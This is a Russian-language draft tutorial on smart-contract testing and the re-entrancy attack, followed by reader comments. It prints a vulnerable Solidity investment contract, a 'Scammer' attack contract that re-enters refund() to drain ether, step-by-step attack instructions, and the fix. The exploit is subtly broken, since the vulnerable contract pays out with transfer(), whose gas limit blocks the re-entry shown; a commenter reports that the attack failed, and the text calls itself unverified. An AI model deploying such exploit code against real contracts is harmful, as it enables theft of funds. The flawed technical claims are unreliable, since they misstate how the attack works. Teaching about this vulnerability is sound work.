DRAFT — Черновик (Статья находится в процессе доработки, может содержать неточности и непроверенный код)
Часто смарт-контракты работают с большими деньгами. А значит требования к безопасности в этой области высокие.
Поэтому неотъемлемой частью разработки смарт-контракта является тестирование. В этой статье мы узнаем основные термины, которые потребуются в дальнейшем. А также познакомимся с атакой re-entrancy attacks.
Способы выявления проблем в контрактах
Перечислим основные способы с помощью которых выявляют проблемы в контрактах. Но сначала запомним один широко-используемый жаргон — продакшен или продуктив — реальная среда в которой должен работать контракт.
Тесты
— Юнит-тесты или модульное тестирование — тестирования отдельных частей контракта. Мы под этим термином будем в основном понимать тест отдельной функции контракта
— Регрессионное тестирование — запуск тех же тестов на уже протестированном ранне коде, после того как код был изменен. Мы будем под этим понимать повторный запуск тестов после изменений.
— Интеграционные тесты — тесты на взаимодействие модулей и системы в целом. Мы будем под этим термином будем понимать тестирование на взаимодействие контрактов.
— Формальное тестирование — тестирование на смарт-контракта на соответсвие документации
Аудит
- Аудит сторонним разработчиком. Помимо основного разработчика контракт провреяется еще и разработчиком аудитором.
- Баг-баунти — схема при которой код выкладывается в git-репозиторий и всех желающих приглашают за вознаграждение (обычно токенами) найти ошибки.
Предлагаемая система тестиорвания
- Remix — ранние тесты, выявление мелких ошибок.
Можно тестировать независимые части контрактов. Проверять компилируется ли контракт вообще. Полезно для раннего unit-тестирования. Зависимые контракты и межконтрактные взаимодействия на данный момент в Remix тестировать нельзя (не работает at address). - Написание критических тестов на truffle и последующее тестирование
Очень полезный этап. В серьезных проектах ему уделяется большое внимание. На truffle можно писать как юнит-тесты так и проводить полноценное интеграционное тестирование с реальными параметрами из продакшен среды.
Основные полюсы:
+ Возможность «перемтоки» времени
+ Возможность протестировать продакшен конфигурацию
+ Возможность быстро провести регрессионное тестирование
Часто, уже на этапе написания тестов выявляются серьезные ошибки. - Тестирование в тестовой сети
Наиболее распространенный способ. Контракты или отдельный контракт загружается в одну из тестовых сетей. Контракту устанавливают тестовые параметры, отличные от продуктива. А затем в ручную, избирательно тестируют основные активности. - Изменения если необходимо
- Регрессионное тестирование
- Аудит кода
- Баг-баунти
Следует отметить, что покрыть все тестами нельзя. Поэтому при создании контракта нужно соблюдать рекомендации написания безопасного кода. Такие рекомендации мы постараемся давать в конце рассмотрения уязвимости. НО — выполнение рекомендаций в общем случае не избавляет вас от всех ошибок, а лишь сокращает вероятность успешной атаки на ваш контракт.
В большинстве проектов пишут смарт-контракт тестируют в ручную в тестовой среде. И иногда прибегают к аудиту.
Серьезные проекты начинают работать над смарт-контрактом за месяц. Качественное покрытие тестами на truffle удовольствие не из дешевых.
re-entrancy attacks
Очень рапространенная и опасная ошибка. Ее трудно заметить, потому что она связана с особенностью solidity, которая не присутсвует в других языках.
В Solidity есть так называемая fallback функция без названия. Она вызывается всякий раз, когда на контракт отправляется эфир.
Рассмотрим условный контракт дцентрализованной инвестиционной организации. Людой пользоватаель может инвестировать в него отослав немного эфира. И размер инвестиций контракт запишет в balances.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
contract VulnerableContract { mapping (address => uint) balances; function refund() { msg.sender.transfer(balances[msg.sender]); balances[msg.sender] = 0; } function () public payable { balances[msg.sender] = balances[msg.sender] + msg.value; } } |
Контракт также предоставляет возможность вернуть средства инвестору посредством вызова refund.
И эта функция является уязвимой. Давайте разберемся почему.
Как вы уже наверное заметили, solidity предоставляет возможность переопределить fallback функцию. Что и было сделано в этом контракте.
Если обычный пользователь вызовет refund, то ему вернуться средства и контракт отработает нормально. А теперь представьте, что функцию refund вызывает следующий контракт.
1 2 3 4 5 6 7 8 9 10 11 12 13 |
contract Scammer { VulnerableContract public vulnerableContract; function setVulnerableContract(address newVulnerableContract) { vulnerableContract = VulnerableContract(newVulnerableContract); } function () public payable { vulnerableContract.refund(); } } |
В первой строчке функции refund контракта VulnerableContract вызывается передача средств на адресс того, кто вызвал refund. А значит будет вызвана fallabck функция у msg.sender. А если наш инвестор является контрактом Scammer. Смотрим что произойдет…
- Мошенник задеплоил контракт Scammer и вызвал fallback функцию у Scammer
- fallback функция у Scammer вызвала refund у VulnerableContract
- В первой строчке refund начинает перевод средств msg.sender.transfer(balances[msg.sender]) — а поскольку msg.sender это контракт Scammer, то вызывается fallabck функция у Scammer и мы переходим в пункт (2).
В результате у нас произойдет зацикливание контракта до тех пор пока не кончится газ или пока не закончатся деньги на контракте. В любом случае транзакция не выполнится. Обратите внимание что при зацикливании мы не доходим до второй строчке в refund. А значит баланс у вызвавшего контракт не обнуляется! Т.е. пока работает зацикливание на счет вызвавшего refund контракта непрерывно переводится эфир. В данном контракт из-за того что закончится газ или средства уязвимость в итоге не проявит себя. Теперь мошеннику остается сделать так, чтобы транзакция завершилась успехом.
Для этого нужно вовремя остановить зацикливание тогда, когда на контракте инветисционной организации останется меньше чем мошенник инвестировал. Давайте исправим конракт мошенника:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
contract Scammer { VulnerableContract public vulnerableContract; uint public counter; uint public constant COUNTER_LIMIT = 10; uint public invested; function withdraw() { msg.sender.transfer(this.balance); } function startAttack(address newVulnerableContract) public payable { invested = msg.value; vulnerableContract = VulnerableContract(newVulnerableContract); vulnerableContract.transfer(msg.value); vulnerableContract.refund(); } function () public payable { if(vulnerableContract.balance > invested && counter < COUNTER_LIMIT) { vulnerableContract.refund(); counter++; } } } |
В fallnack функции мы добавили условие проверки
vulnerableContract.balance > invested && counter < COUNTER_LIMIT
Первая часть — это проверка на то, что у фонда достаточно денег для перевода нам, иначе попытка перевести больше чем есть приведет к ошибке. Второй — условное ограничение по счетчику, чтобы транзакция не закончилась испольщовава весь газ.
Как теперь происходит атака:
- Злоумышленник заливает контракт Scammer в блокчейн
- Вызывает startAttack с указанием адреса инвестиционного фона и отправляет к примеру 1 эфир.
- startAttack инвестирует в фонд, а затем сразу вызывает возврат средств vulnerableContract.refund()
- refund возвращает стредства в размер 1 эфира и одновременно вызывает fallback у Scammer так и не дойдя до слеующей строчки и не обнулив баланс.
- fallback у Scammer проверяет что средств у фонда еще хватает и сновы вызывает refund. И мы возвращаемся к пункту 3
Когда наконец счетчик дойдет до COUNTER_LIMIT = 10 или средства закончаться у фонда транзакция успешно завершиться. Таким образом вместо 1 эфира мошенник с помощью контракта Scammer украдет до 10 эфиров!
Код, который использует уязвимость называется — эксплоит.
Такая атака называется re-entrancy attacks. С помощью нее были выведены средства The DAO. Пример, который мы тут рассмотрели может быть также функцией refund, которая возвращает средства если softcap не был достигнут в ICO.
Как исправить? Достаточно обунлять баланс ДО отправки эфира.
1 2 3 4 5 |
function refund() { uint value = balances[msg.sender]; balances[msg.sender] = 0; msg.sender.transfer(value); } |
А теперь рекомендация по написанию безопасного кода. Вызывать функцию отправки средств нужно ПОСЛЕ обновления баланса.
Попробовал потестировать на Remix, но при запуске атаки транзакция на проходит, не получается использовать transfer для передачи эфира контракту, который атакуем. Пробовал просто вызвать transfer из Scanner в VulnerableContract, транзакция также не проходит. Использовал солидити версии 0.4.15.
function refund() {
uint value = balances[msg.sender];
balances[msg.sender] = 0;
msg.sender.transfer(value);
}
а может произойти такая ситуция, что баланс инвестора обнулился, но средства ему не перевелись по каким то причинам ? первое что здесь вижу нужно добавить условие if(this.balance>=value).
В каком случае это произойдет? Средства либо переводятся либо refund падает.
int, можно запоминать баланс инвестора до транзы и проверять, сколько пришло, потом списывать. дело тут больше в последовательности действий.
Цитата:
Remix — ранние тесты, выявление мелких ошибок.
…
Зависимые контракты и межконтрактные взаимодействия на данный момент в Remix тестировать нельзя (не работает at address).
На данный момент «at address» в remix, «загружает» скомпилированный контракт, и в ropsten, и в основном блокчейне и в JavaScript VM. Можно вызывать любые функции. Контракты между собой взаимодействуют.